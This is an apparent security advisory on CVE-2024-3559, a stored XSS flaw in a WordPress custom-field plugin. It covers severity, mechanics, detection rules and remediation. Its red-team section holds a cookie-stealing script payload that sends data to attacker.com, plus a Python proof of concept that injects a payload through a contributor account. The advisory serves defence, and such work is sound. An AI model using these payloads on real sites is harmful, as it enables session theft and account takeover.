CVE-2024-3559

Executive Summary

CVE-2024-3559 is a Stored Cross-Site Scripting (XSS) vulnerability in the Custom Field Suite plugin for WordPress, affecting versions up to and including 2.6.7. This vulnerability allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts via the cfs[post_content] parameter. The injected scripts execute whenever a user accesses the compromised page, leading to potential data theft, session hijacking, or defacement. The vulnerability stems from insufficient input sanitization and output escaping in the plugin's handling of custom field data. As a WordPress ecosystem issue, this affects sites using the Custom Field Suite plugin, not the underlying web server.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Custom Field Suite plugin is distributed via the WordPress Plugin Directory and can be installed directly from the WordPress admin dashboard. There is no associated NPM, PyPI, Go, or Ruby package. The supply chain risk is limited to the plugin's update mechanism; if the plugin remains unpatched, sites are exposed. No official patch has been released as of the latest advisory.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level access)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires authentication but is easily exploitable by low-privilege users. The stored XSS can affect all site visitors, including administrators, leading to potential privilege escalation or data exfiltration.

Deep Dive & Mechanics

The vulnerability resides in the Custom Field Suite plugin's handling of the cfs[post_content] parameter. When a user with contributor-level access or higher creates or edits a post, the plugin processes custom field data without proper sanitization or output escaping. Specifically, the cfs[post_content] parameter is used to store custom field values, which are later rendered on the frontend or admin pages without escaping HTML or JavaScript.

The attack flow:

1. An authenticated attacker with contributor-level access navigates to the post editor.
2. The attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into the cfs[post_content] field.
3. The plugin stores the payload in the WordPress database without sanitization.
4. When any user (including administrators) views the post, the payload executes in their browser.

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The lack of output escaping allows the injected script to be interpreted as code rather than text.

Vulnerable vs. Patched Code

Vulnerable Code (version 2.6.7): In the plugin's includes/field.php or similar file, the cfs[post_content] value is directly output without escaping:

echo $field_value; // No escaping

Patched Code (hypothetical fix): The patched version would use WordPress's escaping functions:

echo esc_html( $field_value ); // Escapes HTML entities

Or, for rich content, use wp_kses_post() to allow only safe HTML.

Since no official patch is available, administrators must manually apply escaping or disable the plugin.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Custom Field Suite plugin <= 2.6.7
• Authenticated user with contributor-level access or higher

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post or edit an existing one.
3. In the custom field section, set the cfs[post_content] parameter to a malicious payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Publish or save the post.
5. When an administrator or other user views the post, the script executes, exfiltrating cookies or performing other actions.

Proof-of-Concept (PoC) Code:

import requests

target_url = "http://target-wordpress.com/wp-admin/post-new.php"
session = requests.Session()
# Authenticate first (replace with valid credentials)
session.post(target_url, data={"log": "contributor", "pwd": "password"})

# Inject payload
payload = {
    "cfs[post_content]": "<script>alert('XSS')</script>",
    "post_title": "Test Post",
    "post_status": "publish"
}
session.post(target_url, data=payload)
print("Payload injected. Visit the post to trigger XSS.")

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual cfs[post_content] values containing <script> tags or event handlers.
• Use Web Application Firewall (WAF) rules to block common XSS patterns in POST parameters.
• Review WordPress logs for suspicious post creation by low-privilege users.

Hardening:

• Disable the Custom Field Suite plugin until a patch is available.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to attacker-controlled domains from WordPress server.
  • POST requests to /wp-admin/post.php or /wp-admin/post-new.php with cfs[post_content] containing <script> tags.

• Host IOCs:

  • Database entries in wp_postmeta with meta_key containing cfs and meta_value containing JavaScript.
  • Modified post content in wp_posts with injected scripts.

• File IOCs:

  • Plugin files in /wp-content/plugins/custom-field-suite/ version 2.6.7 or earlier.

Detection Engineering

YARA Rule

rule CVE_2024_3559_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Custom Field Suite plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-3559"
    strings:
        $payload1 = /<script[^>]*>.*<\/script>/is
        $payload2 = /on\w+\s*=\s*["']?[^"']*["']?/is
        $cfs_field = "cfs[post_content]"
    condition:
        $cfs_field and ($payload1 or $payload2)
}

Sigma Rule

title: CVE-2024-3559 Stored XSS via Custom Field Suite
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit stored XSS in Custom Field Suite plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'cfs[post_content]'
        cs-uri-query|re: '(<script|on\w+=)'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in custom fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-3559 Stored XSS via Custom Field Suite"; flow:to_server,established; content:"POST"; http_method; content:"cfs[post_content]"; http_client_body; pcre:"/(<script|on\w+=)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and delete the Custom Field Suite plugin from the WordPress admin dashboard.
2. Apply virtual patching: Use a WAF to block requests containing cfs[post_content] with suspicious patterns.
3. Audit existing content: Scan the database for stored XSS payloads in custom fields.

Long-term Fix:

• Wait for an official patch from the plugin vendor. Once available, update to the patched version.
• If no patch is released, consider migrating to an alternative custom field plugin (e.g., Advanced Custom Fields) that properly sanitizes input.

Workaround:

• Manually add output escaping to the plugin's code (if you have development resources):

  // In includes/field.php or similar
  echo esc_html( $field_value );
  

Valters IT